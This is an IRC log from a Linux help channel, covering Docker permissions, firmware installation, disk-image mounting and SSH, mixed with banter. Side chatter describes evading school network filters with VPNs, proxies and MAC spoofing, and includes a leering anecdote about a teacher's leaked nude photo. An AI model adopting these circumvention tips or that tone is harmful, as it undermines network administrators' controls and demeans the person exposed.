17:25 < tx> searedvandal: I would wager that the bottom of the barrel just pirate windows
17:26 < searedvandal> tx, sure we do
17:26 < searedvandal> I mean, sure they do
17:26 < sadasaulna> lol
17:26 < dgurney> my Windows is technically legit
17:26 < dgurney> good enough for me
17:26 < birdbolt1> can anyone give me tips on abiding to principle of least privilege?
17:26  * Psi-Jack watches searedvandal step into the bear trap he'd setup earlier.
17:27 < tx> birdbolt1: you do not have access to that information
17:27 < brunobronosky> I have made 2 copies of all the configs that affect whether it boots and connects to my home network, or boots and hosts its own network. I can move a single symlink to switch it manually and reboot. But I can't figure out how/when to do that automatically on boot. Any suggestion there, Jim?
17:27 < searedvandal> Psi-Jack, I'm a bit lighter than a bear so I didn't trigger it
17:27 < Psi-Jack> tx: Access denied.
17:27 < birdbolt1> I am trying to devise a heirarchy of users and groups for services in docker
17:27 < jim> birdbolt1, what are you trying to do at the moment?
17:27 < ayecee> this incident will be reported
17:27 < Psi-Jack> Ugh.. Docker..
17:28 < birdbolt1> jim, thinking a group for an entire container, within it, groups and users for each service
17:28 < Psi-Jack> Hopefully not for production?
17:28 < birdbolt1> I am working towards that
17:28 < Psi-Jack> Well, stop it.
17:28 < birdbolt1> am i goign the worng way
17:28 < Psi-Jack> Docker != good for production != secure.
17:28 < ayecee> and yet it's used for production all the time, and considered secure enough.
17:28 < tx> yes please just run it straight on bare metal instead
17:28 < birdbolt1> so you're saying docker isnt used by enterprises..?
17:28 < ayecee> maybe turn it down a notch.
17:29 < tx> (I was kidding)
17:29 < Psi-Jack> I'm saying, it'
17:29 < Psi-Jack> It's not secure.
17:29 < jim> Psi-Jack, help him do what he wants to do, even better, help him do it right... don't stop him from using his computer the way he wants to
17:29 < ayecee> Psi-Jack: well that's a convincing argument :P
17:29 < birdbolt1> I'm not using it as a security measure for what im doing. I got into docker because i wanted to easily package and deploy my application
17:29 < ultr4_l4s3r> No, this is linux, you can't just do what you want! Wait...
17:30 < brunobronosky> I'm with Psi-Jack. I don't let any of my servers have access to the internet. It's totally insecure.
17:30 < Psi-Jack> I mean, if you're looking for security, which you should always be striving for, docker doesn't really provide that. It adds complexity more than anything else.
17:30 < birdbolt1> I've just seen it echo'ed so much to add users and not have it run as root, etc
17:30 < tx> You can do what you want, you usually just need to write it first :P
17:30 < streuner> is filtering output traffic in iptables a good idea?
17:30 < ultr4_l4s3r> tx, indeed ^^
17:30 < tx> streuner: it's not a bad idea
17:30 < my_mind> Opened brasero after inserting a new verbatim 4.7gb dvd. Brasero said 2.8gb free
17:30 < tx> what are you trying to achieve
17:30 < birdbolt1> Psi-Jack, I am striving to write an application that can be deployed to many GCP Kubernetes clusters. Not a single instance serving from my machine
17:31 < my_mind> I burned Linux mint 19 to it anyway and it worked.
17:31 < brunobronosky> streuner it's a great idea, for the cases it fits. What's your case?
17:31 < my_mind> Why did it say 2.8gb free?
17:31 < ayecee> streuner: kinda have to balance it against the extra administrative overhead it causes compared to what it gets you. I wouldn't do it myself.
17:31 < streuner> brunobronosky, i need filter traffic on vps
17:32 < brunobronosky> define traffic, streuner.
17:32 < Psi-Jack> Hmm, Kubernetes. Cool idea. I've used it in Rancher and OpenShift once. Never for production, but the concept was neat. The security of it, however, was pretty much no better than running it on bare metal.
17:32 < my_mind> I know mint is less than 2.8, I was just testing if the dvd was ok
17:32 < streuner> incoming and outcoming
17:32 < ayecee> brunobronosky: define define ;)
17:32 < my_mind> Is this a Linux issue or hardware issue?
17:33 < brunobronosky> ayecee indeed! Imma make this clear before I give up on them.
17:33 < tx> Kinda sounds like you are using a DVD-2 (8cm)
17:34 < tx> the smaller ones
17:34 < birdbolt1> what did i miss? i got disconnected
17:34 < tx> nothing.
17:36 < brunobronosky> streuner if your cases are like "only allow incoming traffic from this list of IPs" or "block traffic going to these IPs", then you are fine to use iptables. (Though I suggest using a template engine like Jinja to generate your config so you can maintain it like code.) But, if you want to "keep people on my network from using facebook or twitter" you should not be using iptables.
17:36 < brunobronosky> ayecee How'd I do?
17:36 < ayecee> tl;dr
17:37 < ayecee> too long, didn't read
17:37 < searedvandal> birdbolt1, https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user
17:37 < brunobronosky> damn. I'll try to keep it below 2 sentences from now on ;-)
17:37 < ayecee> :)
17:37 < Psi-Jack> Two words.
17:38 < brunobronosky> open source
17:38 < brunobronosky> my answer to everything
17:38 < ayecee> self love
17:39 < Toadisattva> +1 for ope source
17:39 < Toadisattva> open*
17:39 < SuperSeriousCat> Im more fan of "free beer"
17:39 < ayecee> after enough free beer, free speech is almost a given
17:39 < Psi-Jack> bleh.. beer. Free Whiskey or Scotch on the other hand...
17:39 < Toadisattva> so your saying we need an open source development partty wtih free beer
17:40 < Toadisattva> oooh free scotch now that sounds like a winnning platform
17:40 < Psi-Jack> heh
17:40 < nede64> i downloaded this missing frimware : kbl_dmc_ver1_04, from this site : " https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/commit/i915/kbl_dmc_ver1_04.bin?id=1156e62c5ec45061955a29e1b9299ffda58479d3 " , i extracted the tar file. now i have a bunch of files... i cant understand how to install it now... help please
17:40 < Psi-Jack> I mean, free beer is like "Here's the cheapest slop/gruel". :)
17:41 < ayecee> nede64: show us what you see. use a pastebin or a picture site.
17:41 < ayecee> look at snooty mcsnootster, too good for beer
17:41 < Toadisattva> it is possible to give away good beer for free as it is possible to give away bad whiskey for free, moral of the story we should outlaw poor quality booze for the good of the masses
17:41 < Psi-Jack> Heh, I hate the taste of beer. :)
17:42 < ayecee> how very sophisticated for you
17:42 < SuperSeriousCat> Beer got all kinds of tastes available
17:42 < Psi-Jack> Bitter, sour, and bleh?
17:42 < ayecee> heh
17:43 < searedvandal> sober and drunk
17:43 < brunobronosky> re: pastebin... Has everyone heard of http://termbin.com/?
17:43 < ayecee> well now they have
17:43 < Psi-Jack> But, how many beers does it take to get you drunk? And how many with a Whiskey or Scotch? ;)
17:44 < nede64> ayecee, here are the files after i extrated the tar file https://pastebin.com/yCCPkQ4H
17:44 < brunobronosky> Pardon the evangelism. I LOVE this service.
17:44 < ayecee> yup, is nice
17:44 < Psi-Jack> brunobronosky: I run my own paste site. heh
17:44 < ayecee> nede64: have you considered starting with README
17:44 < Psi-Jack> termbin is nice. I considered running their engine, but decided against it since it has no actual UI, no anti-spam, no auto-deletion, etc.
17:44 < brunobronosky> you can create a paste via netcat (or raw sockets if you're nasty)
17:44 < searedvandal> Psi-Jack, same amount, 1 unit.
17:45 < ayecee> 1 standard drink, please
17:45 < Psi-Jack> Heh, you get drunk on 1 beer? :p
17:45 < searedvandal> probably
17:45 < ayecee> no, i'm saying you should give me one standard drink
17:45 < Psi-Jack> heh
17:45 < ayecee> and we'll see how it goes from there
17:45 < Toadisattva> 1 unit = 64 oz' right?
17:46 < nede64> ayecee, yes in README it said to use " make check " which gave me a lot of things with " Whence Doesnt exist "
17:46 < searedvandal> been 3 years since I had a beer, so I think I'm pretty cheap entertainment Psi-Jack :P
17:46 < brunobronosky> termbin.com is awesome for people who build new servers constantly and need to communicate via logs. I love tmux, but hate that it makes it painful to copy-pasta more than a screen of text.
17:46 < ayecee> nede64: you're just after one file in there, right?
17:46 < Psi-Jack> Toadisattva: Not in beer.
17:47 < WhiteDevil> i run a debian and am proud of it
17:47 < searedvandal> never heard of termbin. I just use curl and ptpb
17:47 < nede64> ayecee, i have " kbl_dmc_ver1_04  " missing frimware
17:47 < tx> are you a proud, white, christian debian user
17:47 < Psi-Jack> WhiteDevil: You go girl!
17:47 < tx> who don't need no HURD?
17:47 < ayecee> nede64: what says that
17:47 < nede64> the starting screen before my linux starts
17:47 < WhiteDevil> i am just proud this aint failing on me
17:48 < ayecee> nede64: what is the exact message
17:48 < searedvandal> I run arch btw
17:48 < WhiteDevil> my usual encounter with linux was that one or the other rpoblem would cope up
17:48 < Psi-Jack> searedvandal: Today.. You will be running Solus. Get to it. :)
17:48 < nede64> " i915/kbl_dmc_ver1_04 "
17:48 < WhiteDevil> but back then we dint have this awesome chatroom in a sense alot of users to talk to about
17:48 < ayecee> nede64: no, the whole message
17:48 < searedvandal> Psi-Jack, still running Solus on a laptop. Actually use it from time to time as well. so far so good :)
17:49 < Psi-Jack> searedvandal: Pretty impressive little distro eh?
17:49 < nede64> its before the linux starts, i am unable to copy it
17:49 < searedvandal> Psi-Jack, it hasn't broken so far, so it's better than most
17:49 < ayecee> nede64: how are you going to install it then
17:49 < nede64> the message ^
17:49 < Psi-Jack> WhiteDevil: We've had IRC for as long as Linux has existed.
17:49 < SuperSeriousCat> Thats not nice
17:49 < Psi-Jack> About. :)
17:50 < Psi-Jack> searedvandal: I know, right!?
17:50 < WhiteDevil> yes but i had no idea about this network
17:50 < ayecee> nede64: anyhow, copy i915/kbl_dmc_ver1_04 to the same directory in /lib/firmware
17:50 < WhiteDevil> i used to connect to the default undernet server
17:50 < WhiteDevil> and there well
17:50 < searedvandal> Psi-Jack, still not convinced to purge Arch from my main systems though
17:50 < WhiteDevil> it wasnt as technical as this room
17:50 < nede64> ouh, okay
17:50 < nede64> just that?
17:50 < ayecee> WhiteDevil: but then i took an arrow to the knee, right
17:50 < WhiteDevil> it had more .. story tellers
17:51 < SuperSeriousCat> Did it have blackjack and hookers?
17:51 < WhiteDevil> ya basiclly
17:52 < WhiteDevil> anyways i gotta go
17:52 < tx> searedvandal: it's ok now
17:52 < WhiteDevil> time the throw in the towel
17:52 < tx> the arch fad is over, you can use a mature distro now
17:52 < searedvandal> tx, ok. thanks. I'll take that up at the next board meeting
17:52 < tx> cheers
17:53 < searedvandal> tx, what can I recommend the board as a replacement, in your opinion?
17:54 < SuperSeriousCat> Gentoo of course
17:54 < tx> LFS for sure, you can't be too lenient when it comes to third party software and the associated security risks
17:54 < searedvandal> alright
17:54 < ayecee> XD
17:55 < nede64> ayecee, i copied the file, do i need to run any further commands to make the system know there exist the file now?
17:55 < ayecee> nede64: no
17:56 < searedvandal> tx, I'll do my best, but the board can be quite difficult to deal with. last time they threatened to switch to windows.
17:56 < nede64> ayecee, should i restart or just continue using ?
17:56 < tx> see, you can sell them anyway
17:56 < tx> they are management, they are dumb
17:56 < tx> anything*
17:56 < ayecee> nede64: if you want it to load, you should probably restart
17:56 < nede64> ayecee, Thanks!
17:56 < tx> I mean, you sold them on arch..
17:57 < tx> I bet whoever did that didn't tell them that they wanted to use arch because of some cool stuff you saw on reddit or w/e
17:58 < ayecee> i set up several slackware servers for a previous employer, because that's what i was using at the time
17:58 < searedvandal> tx, that was easy. just showed the latest meme from r/linuxmasterrace
17:58 < ayecee> wouldn't do that again.
17:58 < tx> did the board go "what is a may may"
17:59 < tx> "hey can you help me with my iphone after this meeting"
17:59 < tx> "facebook wont open, thanks."
17:59 < ayecee> too real man
17:59 < searedvandal> I'm kind of glad I'm not in a corporate environment if that's how it really is tx
17:59 < ayecee> triggering my ptsd
18:00 < tx> kinda glad we have a separate IT department
18:00 < tx> BUT
18:00 < tx> sometimes they aren't trusted for some reason
18:00 < tx> so for super duper important things..
18:00 < tx> yeah, idk.
18:01 < searedvandal> haven't worked in IT for years, I've suppressed all the traumatic experiences.
18:01 < sadasaulna> me too searedvandal
18:01 < sadasaulna> i'm going to have to lie down and have a camomile tea now ;)
18:01 < ayecee> heh
18:01 < tx> Fixing broken PC at nursery
18:02 < tx> reports it wont turn on, they use the PC as a PoS
18:02 < tx> I get there, literally filled with potting mix
18:02 < tx> worms and all
18:02 < tx> how.
18:02 < ayecee> a little at a time
18:02 < tx> Growing some RAM
18:02 < ayecee> organic bits
18:02 < tx> thats makes google faster right
18:03 < searedvandal> nice
18:03 < sadasaulna> i worked in schools that were to cheap to buy switches with spanning tree protocol, and it didn't take long for the kids to work out they could crippled the network by patching a couple of ethernet wall plugs together.
18:04 < ayecee> oh man. can't imagine being school IT. up against a bunch of users who have nothing better to do than break everything.
18:04 < birdbolt1> sadasaulna, what school is that, where students have that degree of determination/ingenuity?
18:04 < ayecee> can't even fire them.
18:04 < birdbolt1> surely not in us
18:04 < tx> I was the IT guy in my high school
18:04 < tx> during high school
18:04 < sadasaulna> birdbolt1: actually primary school, talking like 9 year old kids did it
18:05 < birdbolt1> holyy...is this somewhere in asia?
18:05 < tx> Library, you got idiots punching M&M's in the FDD
18:05 < birdbolt1> I cant imagine that remotely happening in the us or eu
18:05 < ayecee> birdbolt1: kids are more technical these days.
18:05 < tx> Multimedia / PC Labs, you got kids punching out the empty 5" slots and stealing memory
18:05 < SuperSeriousCat> They knew how to cripple it. Not why it happened...
18:05 < searedvandal> I did IT in the health care industry. always fun when the OR computers was acting up
18:05 < sadasaulna> birdbolt1: we had the high school kids DDOS our network, they were buying DDOS for hire and raining it down on us
18:05 < birdbolt1> at 9?
18:05 < sadasaulna> little fuckers
18:05 < ayecee> also your jingoism is showing.
18:05 < birdbolt1> jingoism...nah
18:06 < birdbolt1> Dude the average 9 year old in the western world is too busy caught up in fads, fun, etc
18:06 < sadasaulna> birdbolt1: i don't think they understood it was spanning tree, i think some kid just plugged them in out of curiousity and after that they realise it broke the network..so they kept doing it.
18:06 < ayecee> doesn't matter what the average is. there only needs to be one smartass.
18:06 < Psi-Jack> tx: LOL. Yeah. Me too.
18:06 < SuperSeriousCat> "See lots of all plugs and patching cables". "Plug them all for fun". Dont give this harmless thing too much credit. Could happened anywhere
18:06 < birdbolt1> sadasaulna, what you described to me sounded like they stripped the ethernet cables
18:07 < ayecee> birdbolt1: they didn't. they connected one cable to two ports.
18:07 < sadasaulna> nah, they just took a single patch lead and plugged each end into tow wall ports
18:07 < sadasaulna> two
18:07 < searedvandal> when I was in school I got in trouble for installing putty. the it guys thought I was trying to do shady stuff
18:07 < tx> We also originally had switches without STP, and ethernet wall sockets that were desktop-height (for eMacs)
18:07 < sadasaulna> searedvandal: yeah I was fixing our servers at a youth hostel using putty and the owner thought i was hacking
18:07 < tx> but we had a sign saying "Do not touch sockets, risk of electrocution."
18:07 < tx> in a few places
18:07 < birdbolt1> searedvandal, pfft, i got in trouble in high school a few years ago simply for using an abnormal amount of data
18:08 < tx> I don't think we had any issues
18:08 < sadasaulna> she asked me what I was doing.  I said "well right now, 15000 users can't get on their mail, and i'm fixing that"
18:08 < birdbolt1> I was constantly remoting into my home desktop via teamviewer online
18:08 < ayecee> cue benny hill music
18:08 < searedvandal> birdbolt1, pirating on school networks is never a good idea ;)
18:08 < birdbolt1> searedvandal, lmao no, not that
18:08 < tx> he was pirating GNUware
18:08 < searedvandal> all the linux isos
18:08 < birdbolt1> i guess what i was doing was the ecquivalent of vwatching a lot of 4k videos?
18:09 < birdbolt1> they actually threated to suspend my computer privileges
18:09 < searedvandal> sounds like they had a bandwidth cap
18:09 < Psi-Jack> Or just wanted an excuse to discipline students. :/
18:09 < tx> did anyone have a "CD server"?
18:10 < tx> Literally a chassis full of SCSI CD drives
18:10 < tx> for licensing purposes
18:10 < birdbolt1> Idk, it wasnt a broke school district. Not super loaded by any means, but I dont recall them ever having issues with internet
18:10 < Psi-Jack> tx: I had a multi-disc cd changer accessible to my BBS. :)
18:11 < searedvandal> fancy
18:11 < birdbolt1> What i hated the most about my school wifi was the fact that vpns and proxies didnt work at all
18:11 < birdbolt1> wait no, in browser proxies worked
18:11 < Thedarkb> I wrote my own browser proxy and changed the IP every time it got blocked.
18:11 < birdbolt1> but what i needed was vpn functionally so i could torrent from my devices
18:11 < Psi-Jack> When I went to school, there was no WiFi, no "computer privilege" :p
18:11 < sadasaulna> birdbolt1: we took a lot of pride on my network of blocking everything, including browser proxies.
18:12 < searedvandal> 443 tcp vpn
18:12 < Psi-Jack> searedvandal: Detectable.
18:12 < lostfile> thedarkb: hopfully they down hardware ban you
18:12 < sadasaulna> no 443 allowed for kids back then, SSL wasn't everywhere like it is now
18:13 < tx> Brawndo, it's what plants crave.
18:13 < birdbolt1> Thedarkb, i actually considered working on a whole browser vpn, like a chromium with openvpn built in. Unfortunately I couldnt learn fast enough at the time, and the best i could manage was some input and output commands in c++  :P
18:13 < lostfile> or ban you by your mac address
18:13 < birdbolt1> mac spoofing here we go
18:13 < djph> Psi-Jack: that's because you're old.
18:13 < lostfile> ture
18:13 < lostfile> theres always tht
18:13 < lostfile> that
18:13 < Psi-Jack> djph: I am old. Old enough. :)
18:13 < Thedarkb> I ended up using free webhosts in the end.
18:13 < Thedarkb> It was just a PHP thing.
18:13 < Thedarkb> It wouldn't be usable now, I don't think.
18:14 < searedvandal> Psi-Jack, sure. depends on how they go about blocking things. last time I used a restricted network they blocked every known vpn site and the regular udp port, but my own 443 tcp vpn worked like a charm
18:14 < Holonium> If you have a wifi car that will support it just tell it to always use mac randomization. Thats what I do.
18:14 < Holonium> card not car
18:14 < djph> Psi-Jack: I mean, when I went to school, computers were green-on-black Apples, except that one that was amber.  Tried to ford the river, but then my ^%*!@ oxen died :(.
18:14 < Psi-Jack> searedvandal: Heh yeah.
18:15 < searedvandal> not every admin knows what they're doing :p
18:15 < Psi-Jack> Heh, I recall the Apple LC and Performa.
18:15 < Psi-Jack> And Tenet.. Oh Tenet... heh
18:15  * Holonium agrees with that statement.
18:15 < sadasaulna> searedvandal: most of the schools we supported were clueless, a few of the bigger high schools had pretty decent setups though
18:15 < djph> then they got those gaudy imacs with the colored cases
18:16 < searedvandal> sadasaulna, guess it's more common these days to have good it staff in schools
18:17 < sadasaulna> yeah they kind of have to now, years ago they just roped the youngest member of staff into it
18:17 < searedvandal> when I was in school the it guys where the teachers who taught word processing and stuff like that
18:17 < birdbolt1> ^yup back in elementary school
18:18 < sadasaulna> yep, nowadays running a school network is quite demanding and stressful... because they have a lot of requirements but also a lot of restrictions
18:18 < sadasaulna> its very difficult striking the balance
18:18 < birdbolt1> In africa, school computers just use normal windows installs and consumer grade networking
18:18 < sadasaulna> teachers gonna moan they can't do X or Y but first to lynch you when the kids get on 2-girls-1-cup
18:18 < birdbolt1> There is an admin account on each computer and a student account
18:19 < birdbolt1> students share folders and shit
18:19 < searedvandal> how trusting
18:19 < birdbolt1> wanna make a change, okay admin, you gotta go through each machine
18:19 < birdbolt1> searedvandal, yea, i mean hacks and etc arent really a concern for us there
18:20 < birdbolt1> like 90% of the students usually just wanna use an office program or go online
18:20 < sadasaulna> oh, i'll tell you a funny story.  We had a primary school take delivery of ipads - one for each student.  And she used her own account to set them up.  Then she took a selfie of herself naked to send to her boyfriend.  It synced to each and every ipad the kids had and was in the pictures folder.
18:20 < sadasaulna> She got the sack funnily enough.
18:20 < sadasaulna> And she was smoking hot.
18:20 < birdbolt1> LOL
18:20 < birdbolt1> was this a teacher that did this, or an IT tech
18:21 < searedvandal> sounds like something I saw in the news
18:21 < sadasaulna> teacher
18:21 < birdbolt1> sadasaulna, i bet you still have that image to this day
18:21 < sadasaulna> birdbolt1: I could'nt say ;)
18:21 < birdbolt1> Your plea of the 5th has been acknowledged
18:22 < Psi-Jack> Now the Real fun happened in AIT classes. Grins
18:23 < birdbolt1> On a more serious note, could you guys let me know if im going the right way with this?: https://imgur.com/vbAUyB0
18:24 < searedvandal> my limited docker knowledge says yes
18:25 < Psi-Jack> The only good way to use docker is for testing. Hehe
18:25 < birdbolt1> I mean even on just a plain linux host, would that suffice?
18:25 < Psi-Jack> And even then it has its shortcomings.
18:25 < searedvandal> #docker may know more
18:25 < Psi-Jack> I can't exec read that....
18:26 < Psi-Jack> Even..
18:27 < Holonium> I like this channel. I am using Linux as my only OS, and I love it.
18:28 < tx> Well
18:28 < tx> I like you Holonium
18:28 < ayecee> neat
18:28 < Holonium> Triple booted laptop
18:28 < Holonium> That is how I run
18:28 < tx> that sounds convenient and easy to manage
18:28 < prussian>  am using Linux on everything
18:29 < prussian> including my work computer
18:29 < prussian> right now
18:29 < Holonium> It is. Has three Linux distros and all have a different purpose.
18:29 < tx> I don't use Linux, my mom doesn't let me
18:29 < tx> our family is only allowed to use BeOS
18:29 < prussian> i'm sorry
18:30 < tx> thanks
18:30 < searedvandal> I must be not doing it right, I only single boot.
18:30 < prussian> ^
18:30 < GraysonBriggs> mac work computer, windows home computer, linux servers. sometimes its a bit much
18:30 < sadasaulna> tx: you ever see that youtube channel where the guy has his mom try out obscure operating systems?
18:30 < tx> yes
18:30 < Holonium> Ubuntu for stability, Fedora for speed and Kali for pentesting. tx: Have you thought of making Linux look like and act like BeOS?
18:30 < searedvandal> that's a fun channel
18:30 < tx> he's annoying
18:30 < searedvandal> tx, those are the best channels
18:31 < Holonium> Anybody read xkcd?
18:31 < searedvandal> no
18:31 < sadasaulna> gave up on it years ago Holonium its a bit smug for me
18:31 < rumpel> Holonium, I wait for the movie
18:31 < Holonium> https://xkcd.com/456
18:32 < Holonium> https://xkcd.com/349/
18:32 < Holonium> Those are two that I love, and that apply to this channel.
18:33 < akk> Those are both so true. Like all xkcds. :)
18:33 < sadasaulna> 456 is not like real life.  Real life goes "I dont wanna run Windows, will you help me install Linux?  Me: no."
18:34 < Holonium> Agreed. My favorite character is either blackhat or beret guy.
18:35 < Holonium> What about you?
18:35 < searedvandal> don't get the humor, I'll stick to cat videos on youtube.
18:35 < akk> Elaine, from 1337
18:36 < Holonium> Definitely, or maybe her mother from 1337 part 1
18:36 < akk> Her mother's great too. Cookies <3
18:36 < Holonium> Agreed.
18:36 < sadasaulna> I liked the GNU Hurd one Holonium
18:37 < Holonium> sadasaulna, have you read secretary part 3?
18:38 < Holonium> sadasaulna: https://xkcd.com/496/
18:39 < sadasaulna> just took a look, its OK I guess.
18:46 < PsychoBoB> now, my usb dont turn ON my keyboard wireless
18:46 < PsychoBoB> Why?
18:46 < PsychoBoB> =(
18:52 < birdbolt1> is this an alias: groupadd -g 8000 django
18:53 < birdbolt1> is group 8000 gonna be the same as group django?
18:53 < RayTracer> birdbolt1: it will create a group django with gid 8000
18:54 < birdbolt1> wait a minute... i thought group name and gid were the same!
18:55 < birdbolt1> such that i could set the gid of a process, etc. to letters instead of numbers (harder to remember)
18:55 < RayTracer> groupadd --help
18:55 < bls> birdbolt1: nope. gid is numeric, group name is textual
18:56 < bls> most commands with take either form. for those that don't, you can look up the gid via the getent command
18:56 < RayTracer> birdbolt1: /etc/group does the local mapping
18:57 < RayTracer> ^does^holds
18:58 < birdbolt1> awesome thanks
18:58 < bls> gid=$(getent group www|cut -d: -f3);echo $gid
18:59 < noway96> Hello, so I have a bootable USB WITH an EFI/BOOT/rootfs.img file. If you mount that file you can see all of its contents. Is there a way that I can encrypt it? It's not a boot-install, just a boot and run.
19:01 < localhorse> how can i mount an iso file that is on an external disk?
19:01 < bls> noway96: have you read over: https://wiki.archlinux.org/index.php/Dm-crypt/Encrypting_an_entire_system to see if any of those scenarios fit your needs?
19:01 < localhorse> i tried `mount -o loop /run/media/me/Elements/broken-ssd.img /run/media/me/iso`: mount: /run/media/me/iso: mount failed: Operation not permitted.
19:02 < ananke> localhorse: are you root?
19:02 < bls> localhorse: are you running that as root? does /run/media/me/iso exist? do you have permsissions there?
19:02 < RayTracer> localhorse: tried that as root? maybe use another mountpoint, not one beneaththe e managed /run/media
19:02 < localhorse> ananke: yes
19:02 < localhorse> bls: yes, i created that folder as root
19:02 < bls> also, how was that .img taken? a dd of the entire drive? or just one partition?
19:03 < localhorse> bls: entire drive
19:03 < localhorse> with ddrescue
19:03 < ananke> localhorse: try using /mnt as the destination
19:03 < localhorse> ok
19:03 < localhorse> mount: /mnt/iso: mount failed: Operation not permitted.
19:04 < RayTracer> mount -o loop,ro
19:04 < bls> if you took an image of the entire drive and there was a partition table on it, you need to mount the partition(s) within the image, not the entire image
19:04 < RayTracer> kpartx can help in that case
19:05 < localhorse> bls: but how?
19:05 < ananke> localhorse: did you try adding the read-only option as suggested?
19:05 < localhorse> RayTracer: same error
19:05 < localhorse> ananke: yes, same error
19:06 < ananke> localhorse: does 'dmesg' show any additional details?
19:06 < Psi-Jack> Did you do kpartx?
19:06 < bls> localhorse: I'd have to look up the procedure one google
19:06 < localhorse> ananke: at the end? doesnt look like it
19:07 < localhorse> Psi-Jack: which arguments should i pass to kpartx?
19:08 < bls> https://unix.stackexchange.com/questions/230630/can-i-mount-a-partition-from-a-full-drive-image
19:08 < prussian> losetup can partscan for you
19:09 < bls> yeah, the tooling has improved since all the top hits for the query on google
19:09 < prussian> worst case, could offset mount
19:09 < localhorse> bls: http://dpaste.com/10JFCN4
19:11 < RayTracer> localhorse: "kpartx -l /run/media/me/Elements/broken-ssd.img" to see what would happen, and -a -r if you like what you see (you probably want to operate read-only if it's the only copy). But your paste indicates that it's not a sane wholedisk image. Maybe try "file" on it and check what it says.
19:11  * triceratux agrees with the "file" idea
19:12 < localhorse>  /run/media/me/Elements/broken-ssd.img: DOS executable (block device driver \367\0)
19:12 < prussian> uh...
19:12 < Psi-Jack> file -s
19:13 < localhorse> Psi-Jack: same output
19:13 < Psi-Jack> So, its got MBR partition tables.
19:14 < RayTracer> parted would probably have noted and printed that
19:14 < UserUS> localhorse, isn't your disk GPT?
19:15 < localhorse> UserUS: how do you mean that?
19:15 < prussian> something tells me ur stuff is broke
19:15 < localhorse> prussian: this is the backstory https://forum.cgsecurity.org/phpBB3/viewtopic.php?f=6&t=7977&p=25732#p25732
19:15 < UserUS> https://forum.cgsecurity.org/phpBB3/viewtopic.php?f=6&t=7977&p=25732#p25732 (The disks listed indicate a GPT table)
19:16 < Holonium> Is it possible to ssh from computer A to computer B the from computer B to computer C and then from computer C to computer A?
19:16 < prussian> jumphosts
19:16 < Psi-Jack> prussian: "your"
19:16 < UserUS> Holonium, yes, but why
19:16 < rumpel> Holonium, yes. They do it in the movies all the time.
19:16 < Holonium> When I tried it, it didn't connect.
19:17 < UserUS> Holonium, is the port open?
19:17 < Psi-Jack> Ugh, so much Windows.
19:17 < bls> Holonium: did you use ProxyJump?
19:18 < Psi-Jack> ssh's ProxyJump is vewwry nawice. :)
19:18 < bls> and if it doesn't work when you do it manually on a host by host basis, it's not going to work in chained fashion
19:18 < Holonium> No, What I am doing is going from my laptop to my web server then to my moms computer then to my computer again. That is the intent. The answer to why is why not...
19:19 < prussian> proxyjump as stated
19:20 < prussian> worst case forward sshd port from target to machine you can ssh into if there are nats
19:20 < Holonium> So why won't it work if I go on my laptop(192.168.1.100) "ssh 192.168.1.102" the on the web server(192.168.1.102) "ssh 192.168.1.123" and the from the laptop(192.168.1.123) "ssh 192.168.1.100"?
19:20 < prussian> or use something like tincd
19:20 < akk> If they're all on the same network like that, it should work.
19:21 < meyou^> you can just skip the middleman and ssh localhost
19:21 < Holonium> But that is too easy
19:21 < meyou^> there's nothing to prevent what you want besides obstructions in the network somewhere
19:21 < Psi-Jack> localhorse: So, not GPT on that specific disk.
19:22 < Psi-Jack> Also... If it wasn't a hardware failure specifically, the best tool I can recommend to recover most HDD read issues, is SpinRite, even on SSD.
19:22 < Holonium> Thanks for your help.
19:26 < localhorse> Psi-Jack: doesn't it seem to be a hw failure?
19:28 < HaMsTeRs> Hello
19:29 < Psi-Jack> localhorse: It looks like a probability, though not definitely.
19:30 < Psi-Jack> The SMART error is pretty unusual, for sure.
19:30 < Psi-Jack> That could, however, just be badly done SMART which too is pretty badly common.
19:31 < Psi-Jack> And I love how it thinks you had 14,876 PB. :)
19:31 < Psi-Jack> I want that many PB!
19:32 < localhorse> Psi-Jack: any idea how i can fix the fs (regarding the last post on that thread)?
19:32 < Psi-Jack> I can't help with NTFS itself.
19:33 < Psi-Jack> I don't use Windows, haven't used Windows in ages, nor will I ever. ;)
19:36 < mloza> Hi, I'm having a hard time starting libvirtd in RHEL 7.2. I tried all possible solution but it didn't worked. This is the log file https://transfer.sh/7xjGT/libvirtd.log[
19:38 < TheWild> hello
19:38 < Psi-Jack> Hmm
19:38 < TheWild> I just downloaded mtpaint and extracted from deb, not installed it.
19:38 < Psi-Jack> a 5MB log file?
19:39 < Psi-Jack> Yeah. I'm not downloading a 5MB log file, sorry.
19:39 < TheWild> I located the binary, but running ./mtpaint only prints "bash: ./mtpaint: No such file or directory"
19:39 < TheWild> so... whaaaat?
19:40 < Psi-Jack> file mtpaint
19:40 < TheWild> mtpaint: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.16, stripped
19:40 < ananke> TheWild: now 'uname -m'
19:40 < triceratux> TheWild: youre running on the wrong architecture
19:40 < Psi-Jack> 32-bit? OKay. ldd mtpaint
19:40 < triceratux> ^^
19:40 < Psi-Jack> Maybe arch is okay, as 64-bit can run 32-bit. :p[
19:40 < TheWild> yeah, x86_64
19:40 < Psi-Jack> Most likely missing 32-bit libs, though.
19:41 < ananke> TheWild: that's why. the 'no such file or directory' error is because of that
19:41 < TheWild> missing libs make more sense than wrong architecture
19:41 < Psi-Jack> did you run ldd on it?
19:42 < TheWild> ldd mtpaint?
19:42 < Psi-Jack> Yes..
19:42 < triceratux> TheWild: thats one of the most misleading messages in gnu/linux/x11. the "no such file" is actually the 32bit runtime linker
19:42 < TheWild> not a dynamic executable
19:42 < Psi-Jack> Hmm.
19:42 < ananke> TheWild: it is wrong architecture. you need compatibility libs if you want to run it on your current one.
19:42 < TheWild> meh, I'll forgive misleading messages. Windows had worse ones.
19:43 < koala_man> what ldd means is that it has no dynamic linker capable of loading the file
19:43 < Psi-Jack> file claims it's dynamically linked, ldd says it's not dynamic.
19:43 < triceratux> TheWild: why not use your packagemanager or download the 64bit version ?
19:43 < Psi-Jack> koala_man: Ahh good point.
19:43 < Psi-Jack> Not everything has a 64-bit version. :)
19:43 < TheWild> no 64 bit version of mtpaint AFAIK, and I wanted to run it only today
19:44 < Psi-Jack> SoftMaker Office, until 2018 edition, actually did not have 64-bit for example.
19:44 < TheWild> guess, in case I forget to remove it later.
19:44 < koala_man> if it doesn't have a 64bit version, the package manager will have a dependency on the required 32bit libs
